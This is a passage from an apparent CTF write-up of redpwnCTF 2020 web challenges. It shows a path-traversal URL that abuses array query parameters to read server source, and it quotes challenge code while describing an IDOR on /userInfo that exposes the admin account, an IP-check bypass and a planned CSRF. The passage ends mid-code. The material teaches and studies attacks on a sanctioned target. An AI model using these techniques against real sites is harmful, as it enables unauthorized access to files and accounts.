</span></span><span style="display:flex;"><span><span style="color:#f92672">----------</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;hello, , World, !&#34;</span>
</span></span></code></pre></div><p>Javascript will concatenate the elements of the array to the provided string. Observe, then, how the tux-fanpage script does this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">//Get absolute path from relative path
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">prepare</span>(<span style="color:#a6e22e">dir</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">resolve</span>(<span style="color:#e6db74">&#39;./public/&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">dir</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In this case the string is <code>'./public/'</code> and the array is <code>dir</code>. Keeping in mind the ways to bypass the two filter functions above, our directory traversing URL will look like</p>
<pre tabindex="0"><code>https://tux-fanpage.2020.redpwnc.tf/page?path=j&amp;path=../../../index.js
</code></pre><p>Going to this URL will take us to the published source&rsquo;s javascript file where the flag is found.</p>

    <img src="/images/REDPWN2020_TuxFlag.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h3 id="cookie-recipes-v2">cookie-recipes-v2</h3>
<ul>
<li>points: 488</li>
</ul>
<p>The exploit here is slightly complicated. To summarize, we will need to do a CSRF attack, but theres alot more to this challenge than what I originally thought.</p>
<p>The site will ask us to register, and then we will come to the landing page where we can buy 3 recipes. The last one is the flag for this challenge, which costs 1000 credits - currently we only have 100. Additionally, there exists a &ldquo;RECIPE&rdquo; submission bar where you send a URL of a recipe to the admin for them to review.</p>
<p>Several exploits come to mind:</p>
<ol>
<li>The ability to send a URL to admin allows the possibility to perform XSS or CSRF attacks. Hopefully, being admin will have special privileges that allow us to obtain the flag.</li>
<li>The main thing barring us from obtaining the flag is the lack of credits we have. If we could find a way to add more credits to our account, we could purchase the flag.</li>
</ol>
<p>The challenge is accompanied by their source script. While long, several things are of note:</p>
<p>In the last few lines of the source, we see that the ID of the admin is 0.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// Add admin account if it does not exist yet
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">hasUser</span>(<span style="color:#e6db74">&#39;admin&#39;</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Admin gets id 0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">register</span>(<span style="color:#e6db74">&#39;admin&#39;</span>, <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">ADMIN_PASS</span>, <span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#39;0&#39;</span>, <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">ADMIN_TOKEN</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">statements</span>.<span style="color:#a6e22e">setIp</span>.<span style="color:#a6e22e">run</span>(<span style="color:#e6db74">&#39;::1&#39;</span>, <span style="color:#e6db74">&#39;0&#39;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Additionally, we see a list of SQL statements.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">statements</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">resetUsers</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;DROP TABLE IF EXISTS users;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fromUsername</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT * FROM users WHERE username = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fromId</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT * FROM users WHERE id = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fromToken</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT user_id FROM tokens WHERE token = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">isAdmin</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT admin FROM users WHERE id = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">register</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">`INSERT INTO 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        users (id, username, password, balance, received_gift, admin) 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        VALUES (?, ?, ?, ?, ?, ?);`</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">addToken</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">`INSERT INTO
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        tokens (token, user_id)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        VALUES (?, ?);`</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">getToken</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT token FROM tokens WHERE user_id = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">login</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT id FROM users WHERE username = ? AND password = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">setBalance</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;UPDATE users SET balance = ? WHERE id = ?&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">purchaseRecipe</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">`INSERT INTO
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        purchases (user_id, recipe_id)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        VALUES (?, ?);`</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ownsRecipe</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT * FROM purchases WHERE user_id = ? AND recipe_id = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">getPurchases</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT * FROM purchases WHERE user_id = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">receivedGift</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT received_gift FROM users WHERE id = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">checkPassword</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT * FROM users WHERE id = ? AND password = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">setReceived</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;UPDATE users SET received_gift = 1 WHERE id = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">allowedIp</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;SELECT allowed_ip FROM users WHERE username = ?;&#39;</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">setIp</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#39;UPDATE users SET allowed_ip = ? WHERE id = ?;&#39;</span>)
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>From the first snippet of code above, we know that admin&rsquo;s username is <code>admin</code> and their id is 0. If we can somehow call the methods that subsequently call these statements, we could retrieve the credentials of the admin. As tokens are generated unique to the user, we won&rsquo;t be able to spoof as admin without their cookie token, and so we need to find a way to get the admin info that doesn&rsquo;t rely on using the cookie-generated token.  To this end, <code>fromId</code> is attractive, as it requires just the id of the user.</p>
<p>I am utilizing burp&rsquo;s proxy service. I register an account as usual, and notice the api call to <code>/userInfo</code>, which, according to the javascript source, will deliver the info of a specific user based on their ID - likely preparing the <code>fromId</code> SQL statement.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>[<span style="color:#e6db74">&#39;userInfo&#39;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">result</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;success&#39;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;GET&#39;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">405</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Get target user id from url params
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">parseParams</span>(<span style="color:#a6e22e">req</span>).<span style="color:#a6e22e">id</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">id</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;string&#39;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">400</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Get info from database
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">info</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">info</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">getInfo</span>(<span style="color:#a6e22e">id</span>);
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">info</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">result</span>.<span style="color:#a6e22e">error</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;ID not found&#39;</span>; 
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">respondJSON</span>(<span style="color:#a6e22e">res</span>, <span style="color:#ae81ff">404</span>, <span style="color:#a6e22e">result</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">result</span>.<span style="color:#a6e22e">success</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">result</span>.<span style="color:#a6e22e">info</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">info</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">respondJSON</span>(<span style="color:#a6e22e">res</span>, <span style="color:#ae81ff">200</span>, <span style="color:#a6e22e">result</span>);
</span></span><span style="display:flex;"><span>    }]
</span></span></code></pre></div><p>Knowing that the admin&rsquo;s ID is 0, modify the api call request to <code>/userInfo</code> to get the info of the admin&rsquo;s account, not our own.</p>

    <img src="/images/REDPWN2020_CookieUserInfo.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Our edited request succesfully grabs the info of the admin account.</p>

    <img src="/images/REDPWN2020_CookieAdmin.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>However, it is shown that the admin account also doesn&rsquo;t have enough credits, and they haven&rsquo;t purchased it before so its not in their account. Additionally, you can&rsquo;t login as it also checks the ip of the session - but this can be bypassed by converting our request into JSON, as they parse xml requests and bypass checks if not in xml. Despite that, it appears as though this is a dead end - so let&rsquo;s consider our other avenue of attack: adding more credits to our account.</p>
<p>Another function of importance is the API call to <code>/gift</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>[<span style="color:#e6db74">&#39;gift&#39;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;POST&#39;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">405</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">result</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;success&#39;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Get token from cookie
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cookies</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">parseCookies</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">cookie</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">cookies</span>.<span style="color:#a6e22e">has</span>(<span style="color:#e6db74">&#39;token&#39;</span>)) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">respondJSON</span>(<span style="color:#a6e22e">res</span>, <span style="color:#ae81ff">200</span>, <span style="color:#a6e22e">result</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">cookies</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;token&#39;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span>(<span style="color:#a6e22e">token</span>) <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;string&#39;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">result</span>.<span style="color:#a6e22e">error</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Invalid token&#39;</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">respondJSON</span>(<span style="color:#a6e22e">res</span>, <span style="color:#ae81ff">401</span>, <span style="color:#a6e22e">result</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Get id from token
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">id</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">getId</span>(<span style="color:#a6e22e">token</span>);
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">id</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">result</span>.<span style="color:#a6e22e">error</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Invalid token&#39;</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">respondJSON</span>(<span style="color:#a6e22e">res</span>, <span style="color:#ae81ff">401</span>, <span style="color:#a6e22e">result</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Make sure request is from admin
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">isAdmin</span>(<span style="color:#a6e22e">id</span>)) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">403</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Get target user id from url
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">user_id</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">parseParams</span>(<span style="color:#a6e22e">req</span>).<span style="color:#a6e22e">id</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">user_id</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;string&#39;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">400</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Make sure user exists
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">getInfo</span>(<span style="color:#a6e22e">user_id</span>)) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">400</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Make sure user has not already received a gift
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">receivedGift</span>(<span style="color:#a6e22e">user_id</span>)) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">respondJSON</span>(<span style="color:#a6e22e">res</span>, <span style="color:#ae81ff">200</span>, <span style="color:#a6e22e">result</span>); 
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Check admin password to prevent CSRF
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">body</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">body</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">util</span>.<span style="color:#a6e22e">parseRequest</span>(<span style="color:#a6e22e">req</span>);
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">400</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">password</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">checkPassword</span>(<span style="color:#a6e22e">id</span>, <span style="color:#a6e22e">password</span>)) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">401</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Give user 10 credits
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">database</span>.<span style="color:#a6e22e">changeBalance</span>(<span style="color:#a6e22e">user_id</span>, <span style="color:#ae81ff">150</span>)) {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// How did we get here
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">writeHead</span>(<span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">end</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
